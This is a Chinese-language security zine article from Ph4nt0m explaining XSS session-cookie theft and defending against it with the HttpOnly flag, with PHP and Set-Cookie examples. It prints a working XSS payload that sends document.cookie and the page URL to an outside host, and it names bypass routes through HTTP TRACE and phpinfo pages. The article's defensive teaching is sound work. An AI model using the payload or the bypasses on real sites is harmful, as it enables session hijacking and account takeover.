==Ph4nt0m Security Team== Issue 0x01, Phile #0x06 of 0x06 |=---------------------------------------------------------------------------=| |=-------------=[ 利用httponly提升應(yīng)用程序安全性 ]=--------------=| |=---------------------------------------------------------------------------=| |=---------------------------------------------------------------------------=| |=--------------------=[ By 劍心 ]=--------------------=| |=--------------------=[ <root_at_ph4nt0m_dot_org> ]=--------------------=| |=---------------------------------------------------------------------------=| |=---------------------------------------------------------------------------=| 隨著www服務(wù)的興起,越來越多的應(yīng)用程序轉(zhuǎn)向了B/S結(jié)構(gòu),這樣只需要一個瀏覽器就可 以訪問各種各樣的web服務(wù),但是這樣也越來越導致了越來越多的web安全問題。www服務(wù)依 賴于Htpp協(xié)議實現(xiàn),Http是無狀態(tài)的協(xié)議,所以為了在各個會話之間傳遞信息,就不可避免地 用到Cookie或者Session等技術(shù)來標記訪問者的狀態(tài),而無論是Cookie還是Session,一般都 是利用Cookie來實現(xiàn)的(Session其實是在瀏覽器的Cookie里帶了一個Token來標記,服務(wù)器 取得了這個Token并且檢查合法性之后就把服務(wù)器上存儲的對應(yīng)的狀態(tài)和瀏覽器綁定),這樣 就不可避免地安全聚焦到了Cookie上面,只要獲得這個Cookie,就可以取得別人的身份,這對 于入侵者是一件很美妙的事情,特別當獲得的Cookie屬于管理員等高權(quán)限身份者時,危害就 更大了。在各種web安全問題里,其中xss漏洞就因此顯得格外危險。 對于應(yīng)用程序來說,一旦存在了xss漏洞就意味著別人可以在你的瀏覽器中執(zhí)行任意的 js腳本,如果應(yīng)用程序是開源的或者功能是公開的話,別人就可以利用ajax使用這些功能,但 是過程往往很煩瑣,特別是想直接獲得別人身份做隨意瀏覽的話困難就更大。而對于不開源 的應(yīng)用程序,譬如某些大型站點的web后臺(web2.0一個顯著的特征就是大量的交互,用戶往 往需要跟后臺的管理員交互,譬如Bug匯報,或者信息投遞等等),盡管因為交互的存在可能存 在跨站腳本漏洞,但是因為對后臺的不了解,無法構(gòu)造完美的ajax代碼來利用,即使可以用js 取得后臺的代碼并回傳分析,但是過程同樣煩瑣而且不隱蔽。這個時候,利用xss漏洞獲得 Cookie或者Session劫持就很有效了,具體分析應(yīng)用程序的認證,然后使用某些技巧,甚至可 以即使對方退出程序也一樣永久性獲得對方的身份。 那么如何獲得Cookie或者Session劫持呢?在瀏覽器中的document對象中,就儲存了 Cookie的信息,而利用js可以把這里面的Cookie給取出來,只要得到這個Cookie就可以擁有 別人的身份了。一個很典型的xss攻擊語句如下: xss exp: url=document.top.location.href; cookie=document.cookie; c=new Image(); c.src='http://www.loveshell.net/c.php?c='+cookie+'&u='+url; 一些應(yīng)用程序考慮到這個問題所在,所以可能會采取瀏覽器綁定技術(shù),譬如將Cookie和 瀏覽器的User-agent綁定,一旦發(fā)現(xiàn)修改就認為Cookie失效。這種方法已經(jīng)證明是無效的, 因為當入侵者偷得Cookie的同時他肯定已經(jīng)同時獲得了User-agent。還有另外一種比較嚴 格的是將Cookie和Remote-addr相綁定(其實就是和IP綁定,但是一些程序取得IP的方法有問 題一樣導致饒過),但是這樣就帶來很差的用戶體驗,更換Ip是經(jīng)常的事,譬如上班與家里就 是2個IP,所以這種方法往往也不給予采用。所以基于Cookie的攻擊方式現(xiàn)在就非常流行,在 一些web 2.0站點很容易就取到應(yīng)用程序的管理員身份。 如何保障我們的敏感Cookie安全呢?通過上面的分析,一般的Cookie都是從document對 象中獲得的,我們只要讓敏感Cookie在瀏覽器document中不可見就行了。很幸運,現(xiàn)在瀏覽 器在設(shè)置Cookie的時候一般都接受一個叫做HttpOnly的參數(shù),跟domain等其他參數(shù)一樣,一 旦這個HttpOnly被設(shè)置,你在瀏覽器的document對象中就看不到Cookie了,而瀏覽器在瀏覽 的時候不受任何影響,因為Cookie會被放在瀏覽器頭中發(fā)送出去(包括ajax的時候),應(yīng)用程 序也一般不會在js里操作這些敏感Cookie的,對于一些敏感的Cookie我們采用HttpOnly,對 于一些需要在應(yīng)用程序中用js操作的cookie我們就不予設(shè)置,這樣就保障了Cookie信息的安 全也保證了應(yīng)用。關(guān)于HttpOnly說明可以參照 http://msdn2.microsoft.com/en-us/library/ms533046.aspx。 給瀏覽器設(shè)置Cookie的頭如下: Set-Cookie: <name>=<value>[; <name>=<value>] [; expires=<date>][; domain=<domain_name>] [; path=<some_path>][; secure][; HttpOnly] 以php為例,在php 5.2版本時就已經(jīng)在Setcookie函數(shù)加入了對HttpOnly的支持,譬如 <?php setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE); ?> 就可以設(shè)置abc這個cookie,將其設(shè)置為HttpOnly,document將不可見這個Cookie。因為 setcookie函數(shù)本質(zhì)就是個header,所以一樣可以使用header來設(shè)置HttpOnly。然后再使用 document.cookie就可以看到已經(jīng)取不到這個Cookie了。我們用這種方法來保護利例如 Sessionid,如一些用于認證的auth-cookie,就不用擔心身份被人獲得了,這對于一些后臺程 序和webmail提升安全性的意義是重大的。再次使用上面的攻擊手法時可以看到,已經(jīng)不能 獲取被我們設(shè)置為HttpOnly的敏感Cookie了。 但是,也可以看到HttpOnly并不是萬能的,首先它并不能解決xss的問題,仍然不能抵制 一些有耐心的黑客的攻擊,也不能防止入侵者做ajax提交,甚至一些基于xss的proxy也出現(xiàn) 了,但是已經(jīng)可以提高攻擊的門檻了,起碼xss攻擊不是每個腳本小子都能完成的了,而且其 他的那些攻擊手法因為一些環(huán)境和技術(shù)的限制,并不像Cookie竊取這種手法一樣通用。 HttpOnly也是可能利用一些漏洞或者配置Bypass的,關(guān)鍵問題是只要能取到瀏覽器發(fā)送 的Cookie頭就可以了。譬如以前出現(xiàn)的Http Trace攻擊就可以將你的Header里的Cookie回 顯出來,利用ajax或者flash就可以完成這種攻擊,這種手法也已經(jīng)在ajax和flash中獲得修 補。另外一個關(guān)于配置或者應(yīng)用程序上可能Bypass的顯著例子就是phpinfo,大家知道 phpinfo會將瀏覽器發(fā)送的http頭回顯出來,其中就包括我們保護的auth信息,而這個頁面經(jīng) 常存在在各種站點上,只要用ajax取phpinfo頁面,取出header頭對應(yīng)的部分就可以獲得 Cookie了。一些應(yīng)用程序的不完善也可能導致header頭的泄露,這種攻擊方式對于basic驗 證保護的頁面一樣可以攻擊。 HttpOnly在IE 6以上,F(xiàn)irefox較新版本都得到了比較好的支持,并且在如Hotmail等應(yīng) 用程序里都有廣泛的使用,并且已經(jīng)是取得了比較好的安全效果。 -EOF- |